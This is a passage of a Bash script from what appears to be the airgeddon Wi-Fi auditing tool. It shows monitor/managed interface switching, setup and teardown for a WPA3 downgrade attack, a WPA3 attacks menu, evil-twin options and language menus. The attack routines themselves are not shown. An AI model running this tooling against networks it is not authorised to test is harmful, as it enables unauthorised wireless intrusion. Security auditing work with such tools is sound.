			new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor)
			desired_interface_name=""
			[[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}"
			if [ -n "${desired_interface_name}" ]; then
				echo
				language_strings "${language}" 435 "red"
				language_strings "${language}" 115 "read"
				return
			fi

			ifacemode="Monitor"

			[[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}"
			if [ "${interface}" != "${new_interface}" ]; then
				interface=${new_interface}
				phy_interface=$(physical_interface_finder "${interface}")
				check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
				current_iface_on_messages="${interface}"
			fi
		else
			if set_mode_without_airmon "${interface}" "monitor"; then
				ifacemode="Monitor"
			fi
		fi
	fi

	control_routing_status "end"
}

#Assure the mode of the interface before the WPA3 downgrade attack process
function prepare_wpa3_downgrade_interface() {

	debug_print

	downgrade_initial_state=${ifacemode}

	if [ "${ifacemode}" != "Managed" ]; then
		check_airmon_compatibility "interface"
		if [ "${interface_airmon_compatible}" -eq 1 ]; then

			new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station | head -n 1)
			ifacemode="Managed"
			[[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}"

			if [ "${interface}" != "${new_interface}" ]; then
				if check_interface_coherence; then
					interface=${new_interface}
					phy_interface=$(physical_interface_finder "${interface}")
					check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
					current_iface_on_messages="${interface}"
				fi
				echo
				language_strings "${language}" 15 "yellow"
			fi
		else
			if ! set_mode_without_airmon "${interface}" "managed"; then
				echo
				language_strings "${language}" 1 "red"
				language_strings "${language}" 115 "read"
				return 1
			else
				ifacemode="Managed"
			fi
		fi
	fi
}

#Restore the state of the interfaces after WAP3 downgrade attack process
function restore_wpa3_downgrade_interface() {

	debug_print

	echo
	language_strings "${language}" 299 "blue"

	disable_rfkill

	mac_spoofing_desired=0

	iw dev "${iface_monitor_downgrade_deauth}" del > /dev/null 2>&1

	if [ "${downgrade_initial_state}" = "Managed" ]; then
		set_mode_without_airmon "${interface}" "managed"
		ifacemode="Managed"
	else
		if [ "${interface_airmon_compatible}" -eq 1 ]; then
			new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor)
			desired_interface_name=""
			[[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}"
			if [ -n "${desired_interface_name}" ]; then
				echo
				language_strings "${language}" 435 "red"
				language_strings "${language}" 115 "read"
				return
			fi

			ifacemode="Monitor"

			[[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}"
			if [ "${interface}" != "${new_interface}" ]; then
				interface=${new_interface}
				phy_interface=$(physical_interface_finder "${interface}")
				check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
				current_iface_on_messages="${interface}"
			fi
		else
			if set_mode_without_airmon "${interface}" "monitor"; then
				ifacemode="Monitor"
			fi
		fi
	fi
}

#Unblock if possible the interface if blocked
function disable_rfkill() {

	debug_print

	if hash rfkill 2> /dev/null; then
		rfkill unblock all > /dev/null 2>&1
	fi
}

#Set the interface on managed mode and manage the possible name change
function managed_option() {

	debug_print

	if ! check_to_set_managed "${1}"; then
		return 1
	fi

	disable_rfkill

	language_strings "${language}" 17 "blue"
	ip link set "${1}" up > /dev/null 2>&1

	if [ "${1}" = "${interface}" ]; then
		if [ "${interface_airmon_compatible}" -eq 0 ]; then
			if ! set_mode_without_airmon "${1}" "managed"; then
				echo
				language_strings "${language}" 1 "red"
				language_strings "${language}" 115 "read"
				return 1
			else
				ifacemode="Managed"
			fi
		else
			new_interface=$(${airmon} stop "${1}" 2> /dev/null | grep station | head -n 1)
			ifacemode="Managed"
			[[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}"

			if [ "${interface}" != "${new_interface}" ]; then
				if check_interface_coherence; then
					interface=${new_interface}
					phy_interface=$(physical_interface_finder "${interface}")
					check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
				else
					interface="${new_interface}"
				fi
				current_iface_on_messages="${interface}"
				echo
				language_strings "${language}" 15 "yellow"
			fi
		fi
	else
		if [ "${secondary_interface_airmon_compatible}" -eq 0 ]; then
			if ! set_mode_without_airmon "${1}" "managed"; then
				echo
				language_strings "${language}" 1 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		else
			new_secondary_interface=$(${airmon} stop "${1}" 2> /dev/null | grep station | head -n 1)
			[[ ${new_secondary_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_secondary_interface="${BASH_REMATCH[1]}"

			if [ "${1}" != "${new_secondary_interface}" ]; then
				secondary_wifi_interface=${new_secondary_interface}
				current_iface_on_messages="${secondary_wifi_interface}"
				echo
				language_strings "${language}" 15 "yellow"
			fi
		fi
	fi

	echo
	language_strings "${language}" 16 "yellow"
	language_strings "${language}" 115 "read"
	return 0
}

#Set the interface on monitor mode and manage the possible name change
function monitor_option() {

	debug_print

	if ! check_to_set_monitor "${1}"; then
		return 1
	fi

	disable_rfkill

	language_strings "${language}" 18 "blue"
	ip link set "${1}" up > /dev/null 2>&1

	if [ "${1}" = "${interface}" ]; then
		check_airmon_compatibility "interface"
		if [ "${interface_airmon_compatible}" -eq 0 ]; then
			if ! set_mode_without_airmon "${1}" "monitor"; then
				echo
				language_strings "${language}" 20 "red"
				language_strings "${language}" 115 "read"
				return 1
			else
				ifacemode="Monitor"
			fi
		else
			run_airmon_check_kill "show_message"

			desired_interface_name=""
			new_interface=$(${airmon} start "${1}" 2> /dev/null | grep monitor)
			[[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}"

			if [ -n "${desired_interface_name}" ]; then
				echo
				language_strings "${language}" 435 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi

			ifacemode="Monitor"
			[[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}"

			if [ "${interface}" != "${new_interface}" ]; then
				if check_interface_coherence; then
					interface="${new_interface}"
					phy_interface=$(physical_interface_finder "${interface}")
					check_interface_supported_bands "${phy_interface}" "main_wifi_interface"
				else
					interface="${new_interface}"
				fi
				current_iface_on_messages="${interface}"
				echo
				language_strings "${language}" 21 "yellow"
			fi
		fi
	else
		check_airmon_compatibility "secondary_interface"
		if [ "${secondary_interface_airmon_compatible}" -eq 0 ]; then
			if ! set_mode_without_airmon "${1}" "monitor"; then
				echo
				language_strings "${language}" 20 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		else
			run_airmon_check_kill "show_message"

			secondary_interface_airmon_compatible=1
			new_secondary_interface=$(${airmon} start "${1}" 2> /dev/null | grep monitor)
			[[ ${new_secondary_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}"

			if [ -n "${desired_interface_name}" ]; then
				echo
				language_strings "${language}" 435 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi

			[[ ${new_secondary_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_secondary_interface="${BASH_REMATCH[1]}"

			if [ "${1}" != "${new_secondary_interface}" ]; then
				secondary_wifi_interface="${new_secondary_interface}"
				current_iface_on_messages="${secondary_wifi_interface}"
				echo
				language_strings "${language}" 21 "yellow"
			fi
		fi
	fi

	echo
	language_strings "${language}" 22 "yellow"
	language_strings "${language}" 115 "read"
	return 0
}

#Set the interface on monitor/managed mode without airmon
function set_mode_without_airmon() {

	debug_print

	local error
	local mode

	ip link set "${1}" down > /dev/null 2>&1

	if [ "${2}" = "monitor" ]; then
		mode="monitor"
		iw "${1}" set monitor control > /dev/null 2>&1
	else
		mode="managed"
		iw "${1}" set type managed > /dev/null 2>&1
	fi

	error=$?
	ip link set "${1}" up > /dev/null 2>&1

	if [ "${error}" != 0 ]; then
		return 1
	fi
	return 0
}

#Check the interface mode
function check_interface_mode() {

	debug_print

	current_iface_on_messages="${1}"
	if ! check_interface_wifi "${1}"; then
		ifacemode="(Non wifi adapter)"
		return 0
	fi

	modemanaged=$(iw "${1}" info 2> /dev/null | grep type | awk '{print $2}')

	if [[ ${modemanaged^} = "Managed" ]]; then
		ifacemode="Managed"
		return 0
	fi

	modemonitor=$(iw "${1}" info 2> /dev/null | grep type | awk '{print $2}')

	if [[ ${modemonitor^} = "Monitor" ]]; then
		ifacemode="Monitor"
		return 0
	fi

	language_strings "${language}" 23 "red"
	language_strings "${language}" 115 "read"
	exit_code=1
	exit_script_option
}

#WPA3 attacks menu
function hookable_wpa3_attacks_menu() {

	debug_print

	clear
	language_strings "${language}" 755 "title"
	current_menu="wpa3_attacks_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49
	language_strings "${language}" 50 "separator"
	language_strings "${language}" 774 wpa3_downgrade_attack_dependencies[@]
	language_strings "${language}" 756 "${plugin_x_under_construction}"
	language_strings "${language}" 757 "${plugin_y_under_construction}"
	language_strings "${language}" 812 "${plugin_z_under_construction}"
	print_hint

	read -rp "> " wpa3_option
	case ${wpa3_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			explore_for_targets_option "WPA3"
		;;
		5)
			if contains_element "${wpa3_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					if [ "${adapter_vif_support}" -eq 0 ]; then
						ask_yesno 696 "no"
						if [ "${yesno}" = "y" ]; then
							downgrade_attack_adapter_prerequisites_ok=1
						fi
					else
						downgrade_attack_adapter_prerequisites_ok=1
					fi

					if [ "${downgrade_attack_adapter_prerequisites_ok}" -eq 1 ]; then
						if explore_for_targets_option "WPA3"; then
							if validate_wpa3_network "only_mixed" "${tmpdir}nws-01.cap"; then
								if validate_network_type "personal"; then
									if check_6ghz_thirdparty_tools_compatibility; then
										wpa3_dos_menu
									fi
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		6)
			"${plugin_x}"
		;;
		7)
			"${plugin_y}"
		;;
		8)
			"${plugin_z}"
		;;
		*)
			invalid_menu_option
		;;
	esac

	hookable_wpa3_attacks_menu
}

#Option menu
function option_menu() {

	debug_print

	clear
	language_strings "${language}" 443 "title"
	current_menu="option_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	print_simple_separator
	language_strings "${language}" 78
	print_simple_separator
	if "${AIRGEDDON_AUTO_UPDATE:-true}"; then
		language_strings "${language}" 455
	else
		language_strings "${language}" 449
	fi
	if "${AIRGEDDON_SKIP_INTRO:-true}"; then
		language_strings "${language}" 565
	else
		language_strings "${language}" 566
	fi
	if "${AIRGEDDON_BASIC_COLORS:-true}"; then
		language_strings "${language}" 557
	else
		language_strings "${language}" 556
	fi
	if "${AIRGEDDON_EXTENDED_COLORS:-true}"; then
		language_strings "${language}" 456
	else
		language_strings "${language}" 450
	fi
	if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then
		language_strings "${language}" 468
	else
		language_strings "${language}" 467
	fi
	if "${AIRGEDDON_SILENT_CHECKS:-true}"; then
		language_strings "${language}" 573
	else
		language_strings "${language}" 574
	fi
	if "${AIRGEDDON_PRINT_HINTS:-true}"; then
		language_strings "${language}" 584
	else
		language_strings "${language}" 585
	fi
	if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then
		language_strings "${language}" 592
	else
		language_strings "${language}" 593
	fi
	if "${AIRGEDDON_6GHZ_ENABLED:-true}"; then
		language_strings "${language}" 817
	else
		language_strings "${language}" 818
	fi
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		language_strings "${language}" 616
	else
		language_strings "${language}" 617
	fi
	if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then
		language_strings "${language}" 638
	else
		language_strings "${language}" 637
	fi
	if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then
		language_strings "${language}" 651
	else
		language_strings "${language}" 652
	fi
	if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then
		language_strings "${language}" 688
	else
		language_strings "${language}" 689
	fi
	if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then
		language_strings "${language}" 765
	else
		language_strings "${language}" 766
	fi
	if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then
		language_strings "${language}" 804
	else
		language_strings "${language}" 805
	fi
	language_strings "${language}" 447
	print_hint

	read -rp "> " option_selected
	case ${option_selected} in
		0)
			return
		;;
		1)
			language_menu
		;;
		2)
			if "${AIRGEDDON_AUTO_UPDATE:-true}"; then
				ask_yesno 457 "no"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_AUTO_UPDATE"; then
						echo
						language_strings "${language}" 461 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				language_strings "${language}" 459 "yellow"
				ask_yesno 458 "no"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_AUTO_UPDATE"; then
						echo
						language_strings "${language}" 460 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		3)
			if "${AIRGEDDON_SKIP_INTRO:-true}"; then
				ask_yesno 569 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_SKIP_INTRO"; then
						echo
						language_strings "${language}" 571 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 570 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_SKIP_INTRO"; then
						echo
						language_strings "${language}" 572 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		4)
			if "${AIRGEDDON_BASIC_COLORS:-true}"; then
				ask_yesno 558 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_BASIC_COLORS"; then
						echo
						language_strings "${language}" 560 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 559 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_BASIC_COLORS"; then
						echo
						language_strings "${language}" 561 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		5)
			if ! hash ccze 2> /dev/null; then
				echo
				language_strings "${language}" 464 "yellow"
			fi

			if "${AIRGEDDON_EXTENDED_COLORS:-true}"; then
				ask_yesno 462 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_EXTENDED_COLORS"; then
						echo
						language_strings "${language}" 466 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 463 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_EXTENDED_COLORS"; then
						echo
						language_strings "${language}" 465 "blue"
						if ! "${AIRGEDDON_BASIC_COLORS:-true}"; then
							echo
							language_strings "${language}" 562 "yellow"
						fi
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		6)
			if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then
				ask_yesno 469 "no"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_AUTO_CHANGE_LANGUAGE"; then
						echo
						language_strings "${language}" 473 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 471 "yellow"
				ask_yesno 470 "no"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_AUTO_CHANGE_LANGUAGE"; then
						echo
						language_strings "${language}" 472 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		7)
			if "${AIRGEDDON_SILENT_CHECKS:-true}"; then
				ask_yesno 577 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_SILENT_CHECKS"; then
						echo
						language_strings "${language}" 579 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 578 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_SILENT_CHECKS"; then
						echo
						language_strings "${language}" 580 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		8)
			if "${AIRGEDDON_PRINT_HINTS:-true}"; then
				ask_yesno 586 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_PRINT_HINTS"; then
						echo
						language_strings "${language}" 588 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 587 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_PRINT_HINTS"; then
						echo
						language_strings "${language}" 589 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		9)
			if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then
				if "${AIRGEDDON_6GHZ_ENABLED:-true}"; then
					echo
					language_strings "${language}" 825 "yellow"
				fi
				ask_yesno 596 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_5GHZ_ENABLED"; then
						if "${AIRGEDDON_6GHZ_ENABLED:-true}"; then
							option_toggle "AIRGEDDON_6GHZ_ENABLED"
							echo
							language_strings "${language}" 826 "blue"
						else
							echo
							language_strings "${language}" 598 "blue"
						fi
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 597 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_5GHZ_ENABLED"; then
						echo
						language_strings "${language}" 599 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		10)
			if "${AIRGEDDON_6GHZ_ENABLED:-true}"; then
				ask_yesno 821 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_6GHZ_ENABLED"; then
						echo
						language_strings "${language}" 823 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				local enable_5ghz_for_6ghz=0
				if ! "${AIRGEDDON_5GHZ_ENABLED:-true}"; then
					echo
					language_strings "${language}" 828 "yellow"
					enable_5ghz_for_6ghz=1
				fi
				ask_yesno 822 "yes"
				if [ "${yesno}" = "y" ]; then
					if [ "${enable_5ghz_for_6ghz}" -eq 1 ]; then
						if ! option_toggle "AIRGEDDON_5GHZ_ENABLED"; then
							echo
							language_strings "${language}" 417 "red"
						else
							if option_toggle "AIRGEDDON_6GHZ_ENABLED"; then
								echo
								language_strings "${language}" 829 "blue"
							else
								echo
								language_strings "${language}" 417 "red"
							fi
						fi

					else
						if option_toggle "AIRGEDDON_6GHZ_ENABLED"; then
							echo
							language_strings "${language}" 824 "blue"
						else
							echo
							language_strings "${language}" 417 "red"
						fi
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		11)
			if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
				ask_yesno 657 "yes"
				if [ "${yesno}" = "y" ]; then
					sed -ri "s:(AIRGEDDON_WINDOWS_HANDLING)=(xterm):\1=tmux:" "${rc_path}" 2> /dev/null
					echo
					language_strings "${language}" 620 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 658 "yes"
				if [ "${yesno}" = "y" ]; then
					sed -ri "s:(AIRGEDDON_WINDOWS_HANDLING)=(tmux):\1=xterm:" "${rc_path}" 2> /dev/null
					echo
					language_strings "${language}" 620 "yellow"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		12)
			ask_yesno 639 "yes"
			if [ "${yesno}" = "y" ]; then
				mdk_version_toggle

				echo
				language_strings "${language}" 640 "yellow"
				language_strings "${language}" 115 "read"
			fi
		;;
		13)
			if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then
				ask_yesno 655 "yes"
			else
				ask_yesno 656 "yes"
			fi

			if [ "${yesno}" = "y" ]; then
				if option_toggle "AIRGEDDON_PLUGINS_ENABLED" "required_reboot"; then
					echo
					language_strings "${language}" 620 "yellow"
				else
					echo
					language_strings "${language}" 417 "red"
				fi
				language_strings "${language}" 115 "read"
			fi
		;;
		14)
			if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then
				ask_yesno 692 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING"; then
						echo
						language_strings "${language}" 694 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 693 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING"; then
						echo
						language_strings "${language}" 695 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		15)
			if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then
				ask_yesno 767 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING"; then
						echo
						language_strings "${language}" 769 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 768 "yes"
				if [ "${yesno}" = "y" ]; then

					if option_toggle "AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING"; then
						echo
						language_strings "${language}" 770 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		16)
			if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then
				ask_yesno 806 "yes"
				if [ "${yesno}" = "y" ]; then
					if option_toggle "AIRGEDDON_EVIL_TWIN_SOUNDS"; then
						echo
						language_strings "${language}" 808 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			else
				ask_yesno 807 "yes"
				if [ "${yesno}" = "y" ]; then

					if option_toggle "AIRGEDDON_EVIL_TWIN_SOUNDS"; then
						echo
						language_strings "${language}" 809 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		17)
			ask_yesno 478 "yes"
			if [ "${yesno}" = "y" ]; then
				get_current_permanent_language
				if [ "${language}" = "${current_permanent_language}" ]; then
					echo
					language_strings "${language}" 480 "red"
				else
					if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then
						echo
						language_strings "${language}" 479 "yellow"
						option_toggle "AIRGEDDON_AUTO_CHANGE_LANGUAGE"
					fi

					if set_permanent_language; then
						echo
						language_strings "${language}" 481 "blue"
					else
						echo
						language_strings "${language}" 417 "red"
					fi
				fi
				language_strings "${language}" 115 "read"
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	option_menu
}

#Language change menu
function language_menu() {

	debug_print

	clear
	language_strings "${language}" 87 "title"
	current_menu="language_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 81 "green"
	print_simple_separator
	language_strings "${language}" 446
	print_simple_separator
	language_strings "${language}" 79
	language_strings "${language}" 80
	language_strings "${language}" 113
	language_strings "${language}" 116
	language_strings "${language}" 249
	language_strings "${language}" 308
	language_strings "${language}" 320
	language_strings "${language}" 482
	language_strings "${language}" 58
	language_strings "${language}" 331
	language_strings "${language}" 519
	language_strings "${language}" 687
	language_strings "${language}" 717
	print_hint

	read -rp "> " language_selected
	echo
	case ${language_selected} in
		0)
			return
		;;
		1)
			if [ "${language}" = "ENGLISH" ]; then
				language_strings "${language}" 251 "red"
			else
				language="ENGLISH"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		2)
			if [ "${language}" = "SPANISH" ]; then
				language_strings "${language}" 251 "red"
			else
				language="SPANISH"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		3)
			if [ "${language}" = "FRENCH" ]; then
				language_strings "${language}" 251 "red"
			else
				language="FRENCH"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		4)
			if [ "${language}" = "CATALAN" ]; then
				language_strings "${language}" 251 "red"
			else
				language="CATALAN"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		5)
			if [ "${language}" = "PORTUGUESE" ]; then
				language_strings "${language}" 251 "red"
			else
				language="PORTUGUESE"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		6)
			if [ "${language}" = "RUSSIAN" ]; then
				language_strings "${language}" 251 "red"
			else
				language="RUSSIAN"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		7)
			if [ "${language}" = "GREEK" ]; then
				language_strings "${language}" 251 "red"
			else
				language="GREEK"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		8)
			if [ "${language}" = "ITALIAN" ]; then
				language_strings "${language}" 251 "red"
			else
				language="ITALIAN"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		9)
			if [ "${language}" = "POLISH" ]; then
				language_strings "${language}" 251 "red"
			else
				language="POLISH"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		10)
			if [ "${language}" = "GERMAN" ]; then
				language_strings "${language}" 251 "red"
			else
				language="GERMAN"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		11)
			if [ "${language}" = "TURKISH" ]; then
				language_strings "${language}" 251 "red"
			else
				language="TURKISH"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		12)
			if [ "${language}" = "ARABIC" ]; then
				language_strings "${language}" 251 "red"
			else
				language="ARABIC"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		13)
			if [ "${language}" = "CHINESE" ]; then
				language_strings "${language}" 251 "red"
			else
				language="CHINESE"
				language_strings "${language}" 83 "yellow"
			fi
			language_strings "${language}" 115 "read"
		;;
		*)
			invalid_language_selected
		;;
	esac

	detect_rtl_language
	initialize_language_strings
	hookable_for_languages

	language_menu
}

#Read the chipset for an interface
function set_chipset() {

	debug_print

	chipset=""
	sedrule1="s/^[0-9a-f]\{1,4\} \|^ //Ig"
	sedrule2="s/ Network Connection.*//Ig"
	sedrule3="s/ Wireless.*//Ig"
	sedrule4="s/ PCI Express.*//Ig"
	sedrule5="s/ \(Gigabit\|Fast\) Ethernet.*//Ig"
	sedrule6="s/ \[.*//"
	sedrule7="s/ (.*//"
	sedrule8="s|802\.11a/b/g/n/ac.*||Ig"

	sedruleall="${sedrule1};${sedrule2};${sedrule3};${sedrule4};${sedrule5};${sedrule6};${sedrule7};${sedrule8}"

	if [ -f "/sys/class/net/${1}/device/modalias" ]; then
		bus_type=$(cut -f 1 -d ":" < "/sys/class/net/${1}/device/modalias")

		if [ "${bus_type}" = "usb" ]; then
			vendor_and_device=$(cut -b 6-14 < "/sys/class/net/${1}/device/modalias" | sed 's/^.//;s/p/:/')
			if hash lsusb 2> /dev/null; then
				if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then
					requested_chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
				else
					chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
				fi
			fi

		elif [[ "${bus_type}" =~ pci|ssb|bcma|pcmcia ]]; then
			if [[ -f /sys/class/net/${1}/device/vendor ]] && [[ -f /sys/class/net/${1}/device/device ]]; then
		vendor_and_device=$(sed -e 's/0x//' "/sys/class/net/${1}/device/vendor"):$(sed -e 's/0x//' "/sys/class/net/${1}/device/device")
				if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then
					requested_chipset=$(lspci -d "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
				else
					chipset=$(lspci -d "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}")
				fi
			else
				if hash ethtool 2> /dev/null; then
					ethtool_output=$(ethtool -i "${1}" 2>&1)
